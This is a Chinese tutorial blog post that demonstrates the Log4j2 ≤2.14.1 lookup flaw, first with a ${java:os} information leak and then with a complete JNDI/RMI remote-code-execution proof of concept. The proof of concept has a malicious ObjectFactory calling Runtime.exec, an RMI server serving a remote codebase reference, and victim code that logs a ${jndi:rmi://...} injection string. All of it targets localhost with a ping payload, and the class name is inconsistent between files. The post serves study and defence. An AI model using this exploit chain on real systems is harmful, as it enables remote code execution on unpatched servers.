我是靠谱客的博主 俭朴自行车,最近开发中收集的这篇文章主要介绍log4j2 漏洞的简单利用,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

情报:【不容错过】史诗级Log4j漏洞!相关详情X社区持续更新中!

受影响版本 :2.x<=2.14.1

依赖:

        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.1</version>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>

        如何获取项目信息

        Java Lookup

参数描述
versionjava版本
runtime运行时信息
vm虚拟机
os操作系统
locale硬件信息
hw

硬件信息

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Main {

    private static final Logger LOGGER = LogManager.getLogger();

    public static void main(String... args) {
        String variable = "${java:os}";
        LOGGER.info("{}", variable);
    }


}
[11:35:59:649] [INFO] - Main.main(Main.java:11) - Windows 10 10.0, architecture: amd64-64

        项目信息就会被打印了出来。

        远程调用 JNDI Lookup

        JNDI(Java Naming and Directory Interface)在 J2EE 中的角色就是“交换机” —— J2EE 组件在运行时间接地查找其他组件、资源或服务的通用机制。

        JNDI的存在其实是为了协同其他应用来进行远程服务,它可以在客户端和服务端中都进行一些工作,其目的是为了将应用统一管理。比如在RMI服务端中,JNDI可以进行bind、rebind等操作,在客户端上可以进行lookup、list等操作,这样可以不直接使用RMI的Registry的bind,加上JNDI的动态协议解析,从而方便统一管理各个应用。

         log4j2 官方文档也同样支持 Jndi Lookup        

         攻击Java中的JNDI、RMI、LDAP(一)

         RMI 和 LDAP 是 JND I默认支持自动转换的协议:

协议名称协议URLContext类
RMI协议rmi://com.sun.jndi.url.rmi.rmiURLContext
LDAP协议ldap://com.sun.jndi.url.ldap.ldapURLContext

        创建 恶意对象示例:

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.Hashtable;
import java.util.Scanner;

/**
 * 使用创建恶意的ObjectFactory对象 。
 */
public class EvilObjectFactory implements ObjectFactory {

    static {
        try {
            System.out.println("JNDI 触发 RMIServer,黑客要开始搞事情了");
            // 在创建对象过程中插入恶意的攻击代码,或者直接创建一个本地命令执行的Process对象从而实现RCE
            Process process = Runtime.getRuntime().exec("ping www.baidu.com");
            process.waitFor();
            Scanner scanner = new Scanner(new InputStreamReader(process.getInputStream(),"gbk"));
            System.out.println("恶意进程:"+process);
            while (scanner.hasNextLine()) {
                System.out.println("恶意进程:"+scanner.nextLine());
            }
        } catch (InterruptedException | IOException e) {
            e.printStackTrace();
        }
    }

    /**
     * @param obj  包含可在创建对象时使用的位置或引用信息的对象(可能为 null)。
     * @param name 此对象相对于 ctx 的名称,如果没有指定名称,则该参数为 null。
     * @param nameCtx  一个上下文,name 参数是相对于该上下文指定的,如果 name 相对于默认初始上下文,则该参数为 null。
     * @param environment  创建对象时使用的环境(可能为 null)。
     * @return 对象工厂创建出的对象
     * @throws Exception 对象创建异常
     */
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        // 在创建对象过程中插入恶意的攻击代码,或者直接创建一个本地命令执行的Process对象从而实现RCE
        Process process = Runtime.getRuntime().exec("ping www.baidu.com");
        System.out.println(process.getOutputStream());
        return null;
    }
}

        创建 RMI 服务器 :

package server;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {

    public static void main(String... args) {
        try {
            Registry registry = createRegistry(1099);
            System.out.println("Create RMI registry on port 1099");
            registry.bind("evil", createReferenceWrapper("server.factory.EvailObjectFactory","server.factory.EvailObjectFactory", "http://127.0.0.1:8000/"));
        } catch (RemoteException | NamingException | AlreadyBoundException e) {
            e.printStackTrace();
        }
    }

    /**
     * 监听端口 。
     * @param port .
     * @return .
     * @throws RemoteException .
     */
    private static Registry createRegistry(int port) throws RemoteException {
        LocateRegistry.createRegistry(port);
        return LocateRegistry.getRegistry();
    }

    /**
     * 创建一个远程的 JNDI 对象工厂类的引用对象 ,
     * 将其转化为 RMI 引用对象 。
     * @param className .
     * @param factory .
     * @param factoryLocation .
     * @return .
     * @throws RemoteException .
     * @throws NamingException .
     */
    private static ReferenceWrapper createReferenceWrapper(String className, String factory, String factoryLocation) throws RemoteException, NamingException {
        return new ReferenceWrapper(new Reference(className, factory, factoryLocation));
    }
}

        受害者代码:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Main {

    private static final Logger LOGGER = LogManager.getLogger();

    public static void main(String... args) {
        // jdk1.8.121之后需要添加System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true")
        // javax.naming.ConfigurationException: The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        LOGGER.info("应用正常运行中。。。。。。。。。。。。。");

        String variable = "${jndi:rmi://127.0.0.1:1099/evil}";
        LOGGER.info("{}", variable);
    }


}

         1.首先启动服务器,运行成功

        2.启动受害者代码,主要目的是触发日志打印 

         可以看到服务器的恶意代码成功在受害者应用中运行。

        项目地址:git clone http://www.qianp.top:9999/r/JavaWithLog4j2.git

最后

以上就是俭朴自行车为你收集整理的log4j2 漏洞的简单利用的全部内容,希望文章能够帮你解决log4j2 漏洞的简单利用所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(43)

评论列表共有 0 条评论

立即
投稿
返回
顶部